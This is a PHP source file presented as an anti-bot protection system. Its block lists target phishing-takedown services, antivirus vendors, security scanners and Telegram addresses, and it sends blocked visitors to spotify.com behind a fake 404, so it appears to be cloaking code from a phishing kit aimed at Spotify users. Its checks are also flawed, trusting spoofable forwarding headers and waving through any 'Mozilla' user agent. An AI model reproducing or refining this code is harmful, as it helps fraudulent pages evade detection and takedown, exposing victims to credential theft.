<?php
/**
 * ADVANCED Anti-Bot Protection System v2.0
 * Multi-layer protection combining multiple sources
 * Protects against bots, crawlers, security scanners, and automated tools
 */

// Prevent direct access
if (!defined('APP_ACCESS')) {
    die('Direct access not permitted');
}

class AntiBotProtection {
    
    private $clientIP;
    private $userAgent;
    private $hostname;
    private $redirectUrl = 'https://www.spotify.com';
    
    // Comprehensive blocked IP ranges (from anti1.php, anti2.php, botMother)
    private $blockedIPRanges = [
        // Google/Search Engines
        '66.102', '38.100', '107.170', '149.20', '38.105', '173.239', '173.244.36',
        '74.125', '66.150.14', '54.176', '184.173', '66.249', '128.242', '72.14.192',
        '208.65.144', '209.85', '216.239.32', '207.126.144', '173.194', '64.233.160',
        '64.18', '172.217', '137.149', '64.34.119',
        
        // Hosting/Cloud/VPN Providers
        '194.52.68', '194.72.238', '62.116.207', '212.50.193', '69.65', '50.7',
        '131.212', '46.116', '62.90', '89.138', '82.166', '85.64', '85.250',
        '93.172', '109.186', '194.90', '212.29.192', '212.29.224', '212.143',
        '212.150', '212.235', '217.132', '50.97', '66.205.64', '204.14.48',
        '64.27.2', '67.15', '202.108.252', '193.47.80', '64.62.136', '66.221',
        '64.62.175', '198.54', '192.115.134', '216.252.167', '193.253.199',
        '69.61.12', '64.37.103', '38.144.36', '64.124.14', '206.28.72',
        '209.73.228', '158.108', '168.188', '66.207.120', '167.24', '192.118.48',
        '67.209.128', '12.148.209', '12.148.196', '193.220.178', '198.25',
        '64.106.213', '91.103.66', '208.91.115', '199.30.228', '81.161.59',
        '66.135.200', '181.214', '18.237', '195.80', '3.120.2', '104.222',
        '88.212', '40.94', '52.250.30',
        
        // Telegram/Social Media
        '149.154'
    ];
    
    // Specific blocked IPs
    private $blockedIPs = [
        '149.154.161.231', '34.86.177.154', '149.154.161.201', '149.154.161.236',
        '149.154.161.198', '149.154.161.252', '149.154.161.220', '149.154.161.244',
        '149.154.161.246', '149.154.161.205', '149.154.161.219', '149.154.161.237',
        '149.154.161.212', '149.154.161.247', '68.65.53.71', '173.239.240.147',
        '103.248.172.42', '87.20.229.79', '87.113.96.90', '165.227.0.128',
        '185.229.190.140', '46.101.94.163', '165.227.39.194', '46.101.119.24',
        '82.102.27.75', '173.239.230.97', '159.203.0.156', '162.243.187.126',
        '47.30.133.89'
    ];
    
    // Blocked hostnames
    private $blockedHostnames = [
        'drweb', 'hostinger', 'scanurl', 'above', 'google', 'Dr.Web', 'facebook',
        'softlayer', 'amazonaws', 'cyveillance', 'dreamhost', 'netpilot',
        'calyxinstitute', 'tor-exit', 'phishtank', 'msnbot', 'p3pwgdsn',
        'netcraft', 'trendmicro', 'ebay', 'paypal', 'torservers', 'messagelabs',
        'sucuri.net', 'crawler', 'samsung', 'alibaba', 'cloudflare', 'ovh',
        'digitalocean', 'linode', 'vultr', 'hetzner', 'contabo', 'proxy',
        'vpn', 'hosting', 'datacenter', 'bot', 'spider', 'crawl'
    ];
    
    // Comprehensive blocked user agents
    private $blockedUserAgents = [
        // Search Engine Bots
        'Googlebot', 'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider', 'YandexBot',
        'Sogou', 'Exabot', 'facebot', 'ia_archiver', 'AhrefsBot', 'SemrushBot',
        'MJ12bot', 'DotBot', 'Rogerbot', 'BLEXBot', 'SeznamBot', 'Applebot',
        
        // Social Media Bots
        'Telegram', 'TelegramBot', 'TwitterBot', 'FacebookExternalHit', 'LinkedInBot',
        'Pinterest', 'Slackbot', 'WhatsApp', 'SkypeUriPreview', 'Discordbot',
        
        // Security Scanners
        'Acunetix', 'Netsparker', 'Nikto', 'sqlmap', 'w3af', 'ZAP', 'Nmap',
        'masscan', 'Metasploit', 'Burp', 'Havij', 'Grabber', 'Vega', 'Wapiti',
        
        // Crawlers & Scrapers
        'HTTrack', 'Wget', 'curl', 'libwww', 'Python', 'Java', 'Apache-HttpClient',
        'Go-http-client', 'Scrapy', 'WebCopier', 'WebZIP', 'WebReaper', 'Teleport',
        'WebStripper', 'SiteSucker', 'JetBrains', 'PhantomJS', 'HeadlessChrome',
        
        // Monitoring & Analytics
        'Pingdom', 'UptimeRobot', 'StatusCake', 'GTmetrix', 'PageSpeed', 'Lighthouse',
        'WebPageTest', 'Dareboost', 'Uptrends', 'Site24x7', 'Dotcom-Monitor',
        
        // SEO Tools
        'SEMrush', 'Ahrefs', 'Majestic', 'Moz', 'Screaming Frog', 'DeepCrawl',
        'OnCrawl', 'Botify', 'Lumar', 'Sitebulb', 'SEOkicks', 'Seobility',
        
        // Feed Readers
        'Feedly', 'Feedbin', 'NewsBlur', 'Inoreader', 'FeedBurner', 'Bloglovin',
        
        // Generic Bot Patterns
        'bot', 'crawl', 'spider', 'scrape', 'scan', 'check', 'monitor', 'test',
        'compatible', 'seek', 'archive', 'index', 'fetch', 'harvest', 'extract',
        
        // Old Browsers (suspicious)
        'windows95', 'windows98', 'MSIE 6.0', 'MSIE 5.5', 'MSIE 5.0',
        
        // Automation Tools
        'python-requests', 'okhttp', 'axios', 'node-fetch', 'got', 'superagent',
        'request', 'httpclient', 'jersey', 'restsharp', 'guzzle', 'perl', 'ruby',
        
        // Additional Bots
        'X11', 'Trident', '007ac9', '008', '192.comagent', '200pleasebot',
        '360spider', '4seohuntbot', '50.nu', 'a6-indexer', 'admantx', 'amznkassocbot',
        'aboundexbot', 'aboutusbot', 'abravespider', 'accelobot', 'addthis.com',
        'adsbot-google', 'alexabot', 'amagit.com', 'analytics', 'antbot', 'apercite',
        'aportworm', 'arabot', 'archive.org', 'ArchiveBox', 'Asana', 'AskJeeves',
        'AspiegelBot', 'Backlink-Check', 'BacklinkCrawler', 'Barkrowler', 'BDCbot',
        'BetterUptime', 'Birdcrawler', 'BitlyBot', 'Blekkobot', 'Blogtrottr',
        'BoardReader', 'BrandVerity', 'Browsershots', 'BUbiNG', 'Buck', 'BuiltWith',
        'Bytespider', 'Castro', 'Catchpoint', 'CATExplorador', 'ccBot', 'CensysInspect',
        'Charlotte', 'Chrome-Lighthouse', 'Cincraw', 'CISPA', 'Cliqzbot', 'CloudFlare',
        'CốcCốcBot', 'Cocolyzebot', 'Collectd', 'colly', 'CommaFeed', 'COMODO',
        'Comscore', 'ContentKing', 'Cookiebot', 'Crawldad', 'CriteoBot', 'CrowdTangle',
        'Datadog', 'DataForSeo', 'datagnion', 'Datanyze', 'Dataprovider', 'Daum',
        'deepnoc', 'Diffbot', 'Disqus', 'DomainAppender', 'DomainCrawler',
        'DomainsProject', 'DomainStats', 'Dotcom', 'evc-batch', 'Everyfeed',
        'Exchangecheck', 'eZPublish', 'Faveeo', 'Feedspot', 'Fever', 'Flipboard',
        'FreeWebMonitoring', 'FreshRSS', 'GDNP', 'GenericBot', 'Genieo', 'Gigablast',
        'Gigabot', 'GlutenFree', 'Gmail', 'Gobuster', 'Goo', 'Grammarly', 'Grapeshot',
        'Gregarius', 'Hatena', 'HeartRails', 'Heritrix', 'Heureka', 'HTTPMon', 'httpx',
        'Huawei', 'HubPages', 'HubSpot', 'ICC-Crawler', 'ichiro', 'IDG', 'Iframely',
        'IISS', 'Inetdex', 'InfoTiger', 'Inktomi', 'InternetMeasurement', 'IONOS',
        'IP-Guide', 'IPIP', 'IPSAgent', 'Jobboerse', 'K6', 'Klarnabot', 'Komodia',
        'Kouio', 'Kozmonavt', 'l9explore', 'l9tcpid', 'LCC', 'Linespider', 'Linkdex',
        'LinkPreview', 'LinkWalker', 'LTX71', 'MaCoCu', 'Magpie', 'Mail.Ru', 'Mastodon',
        'Meanpath', 'MegaIndex', 'MetaInspector', 'MetaJob', 'MicroAd', 'Mojeek',
        'Monitor.Us', 'Munin', 'Muscat', 'Nagios', 'Nalezen', 'nbertaupete95',
        'Neevabot', 'Netcraft', 'netEstate', 'NetLyzer', 'NetSystems', 'Netvibes',
        'NETZZAPPEN', 'Newsgator', 'Newslit', 'NiceCrawler', 'Nimbostratus',
        'NLCrawler', 'NotifyNinja', 'Nutch', 'Nuzzel', 'oBot', 'Octopus', 'Omgili',
        'Onalytica', 'Openindex', 'OpenLink', 'OpenWeb', 'OrangeBot', 'Outbrain',
        'PageModified', 'Pageburst', 'PagePeeker', 'PageThing', 'Panscient', 'PaperLi',
        'PATHspider', 'PayPal', 'PetalBot', 'Phantomas', 'Picsearch', 'PingAdmin',
        'Pipl', 'Plukkie', 'Pocket', 'Pompos', 'PritTorrent', 'ProjectPatch',
        'ProjectResonance', 'PRTG', 'QuerySeeker', 'Quora', 'Qwantify', 'Rainmeter',
        'Rambler', 'Reddit', 'Renovate', 'ReqBin', 'Riddler', 'Robozilla',
        'RocketMonitor', 'ROIHunter', 'Sabsim', 'SafeDNS', 'Scamadviser', 'ScoutJet',
        'Screaming', 'Screener', 'Sectig', 'Seekport', 'Sellers.Guide', 'Semantic',
        'Sensi', 'Sentry', 'Seobility', 'SEOENG', 'seolyt', 'Serendeputy',
        'ServerDensity', 'Seznam', 'ShopAlike', 'Shopify', 'SilverReader', 'SimplePie',
        'SISTRIX', 'Siteimprove', 'Sitemap', 'Sixy', 'SMTBot', 'SnapURL', 'Sparkler',
        'Speedy', 'Spinn3r', 'Spotify', 'Sprinklr', 'Sputnik', 'SSLLabs', 'start.me',
        'Sublinq', 'Surdotly', 'Survey', 't3versions', 'TagInspector', 'TheKnowledge',
        'theoldreader', 'ThinkChaos', 'TigerBot', 'TinEye', 'TinyTinyRSS', 'TLSProbe',
        'TraceMyFile', 'Trendiction', 'Turnitin', 'TweetedTimes', 'Tweetmeme',
        'Twingly', 'UkrNet', 'UniversalFeed', 'Uptime', 'URLAppend', 'Velen', 'Vercel',
        'VeryHip', 'VisualSite', 'VKShare', 'W3C', 'Wappalyzer', 'Webb', 'WebData',
        'Weborama', 'WellKnown', 'WeSEE', 'WhatCMS', 'WhereGoes', 'Willow', 'WooRank',
        'WordPress', 'Wotbox', 'XenForo', 'YaCy', 'Yahoo', 'Yeti', 'Naver', 'Youdao',
        'Yourls', 'Zaldamo', 'Zao', 'ZeList', 'zgrab', 'Zoominfo', 'ZumBot', 'ING'
    ];
    
    public function __construct() {
        $this->clientIP = $this->getClientIP();
        $this->userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
        $this->hostname = @gethostbyaddr($this->clientIP);
    }
    
    /**
     * Get real client IP (considering proxies/CDN)
     */
    private function getClientIP() {
        $ip = $_SERVER['REMOTE_ADDR'];
        
        if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
            $ip = $_SERVER['HTTP_CLIENT_IP'];
        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
        } elseif (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
            $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
        }
        
        return trim($ip);
    }
    
    /**
     * Check if IP is blocked
     */
    private function isIPBlocked() {
        // Check exact IPs
        if (in_array($this->clientIP, $this->blockedIPs)) {
            return true;
        }
        
        // Check IP ranges
        foreach ($this->blockedIPRanges as $range) {
            if (strpos($this->clientIP, $range) === 0) {
                return true;
            }
        }
        
        return false;
    }
    
    /**
     * Check if hostname is blocked
     */
    private function isHostnameBlocked() {
        foreach ($this->blockedHostnames as $blocked) {
            if (stripos($this->hostname, $blocked) !== false) {
                return true;
            }
        }
        return false;
    }
    
    /**
     * Check if user agent is blocked
     */
    private function isUserAgentBlocked() {
        // Empty user agent is suspicious
        if (empty($this->userAgent)) {
            return true;
        }
        
        // Check against blocked list
        foreach ($this->blockedUserAgents as $blocked) {
            if (stripos($this->userAgent, $blocked) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    /**
     * Check for suspicious headers
     */
    private function hasSuspiciousHeaders() {
        $suspiciousHeaders = [
            'HTTP_X_SCANNER', 'HTTP_X_FORWARDED_HOST', 'HTTP_X_ORIGINAL_URL',
            'HTTP_X_REWRITE_URL', 'HTTP_PROXY_CONNECTION'
        ];
        
        foreach ($suspiciousHeaders as $header) {
            if (isset($_SERVER[$header])) {
                return true;
            }
        }
        
        return false;
    }
    
    /**
     * Check for automated tools
     */
    private function isAutomatedTool() {
        $automationSignatures = [
            'python-requests', 'curl', 'wget', 'libwww', 'java', 'go-http-client',
            'okhttp', 'axios', 'node-fetch', 'got', 'superagent', 'request',
            'httpclient', 'apache-httpclient', 'jersey', 'restsharp', 'guzzle'
        ];
        
        foreach ($automationSignatures as $signature) {
            if (stripos($this->userAgent, $signature) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    /**
     * Check if IP is localhost/local network
     */
    private function isLocalhost() {
        $localIPs = ['127.0.0.1', '::1', 'localhost'];
        
        // Check exact match
        if (in_array($this->clientIP, $localIPs)) {
            return true;
        }
        
        // Check local network ranges
        if (strpos($this->clientIP, '192.168.') === 0 ||
            strpos($this->clientIP, '10.') === 0 ||
            strpos($this->clientIP, '172.16.') === 0) {
            return true;
        }
        
        return false;
    }
    
    /**
     * Check if user agent is a real browser
     */
    private function isRealBrowser() {
        $browserSignatures = [
            'Mozilla', 'Chrome', 'Safari', 'Firefox', 'Edge', 'Opera',
            'MSIE', 'Trident', 'Gecko', 'WebKit', 'AppleWebKit'
        ];
        
        foreach ($browserSignatures as $signature) {
            if (stripos($this->userAgent, $signature) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    /**
     * Main protection check
     */
    public function check() {
        // CRITICAL: ALWAYS allow localhost/local network - NO EXCEPTIONS
        if ($this->isLocalhost()) {
            // Log localhost access for debugging
            if (defined('BOTS_LOG_FILE')) {
                $logMessage = sprintf(
                    "[%s] ALLOWED - Localhost Access - IP: %s | UA: %s",
                    date('Y-m-d H:i:s'),
                    $this->clientIP,
                    substr($this->userAgent, 0, 100)
                );
                @file_put_contents(BOTS_LOG_FILE, $logMessage . "\n", FILE_APPEND);
            }
            return; // Allow access - EXIT HERE
        }
        
        // Allow real browsers (even if they match some bot patterns)
        if ($this->isRealBrowser()) {
            return; // Allow access
        }
        
        $blocked = false;
        $reason = '';
        
        // Run all checks
        if ($this->isIPBlocked()) {
            $blocked = true;
            $reason = 'Blocked IP';
        } elseif ($this->isHostnameBlocked()) {
            $blocked = true;
            $reason = 'Blocked Hostname';
        } elseif ($this->isUserAgentBlocked()) {
            $blocked = true;
            $reason = 'Blocked User Agent';
        } elseif ($this->isAutomatedTool()) {
            $blocked = true;
            $reason = 'Automated Tool';
        } elseif ($this->hasSuspiciousHeaders()) {
            $blocked = true;
            $reason = 'Suspicious Headers';
        }
        
        if ($blocked) {
            $this->blockAccess($reason);
        }
    }
    
    /**
     * Block access and redirect
     */
    private function blockAccess($reason) {
        // Log the block
        $logMessage = sprintf(
            "[%s] BLOCKED - IP: %s | Hostname: %s | Reason: %s | UA: %s",
            date('Y-m-d H:i:s'),
            $this->clientIP,
            $this->hostname,
            $reason,
            substr($this->userAgent, 0, 100)
        );
        
        if (defined('BOTS_LOG_FILE')) {
            @file_put_contents(BOTS_LOG_FILE, $logMessage . "\n", FILE_APPEND);
        }
        
        // Redirect to legitimate site
        header('HTTP/1.1 404 Not Found');
        header('Location: ' . $this->redirectUrl);
        echo '<h1>404 Not Found</h1><p>The page that you have requested could not be found.</p>';
        exit;
    }
}

// Initialize and run protection
$antiBot = new AntiBotProtection();
$antiBot->check();

?>
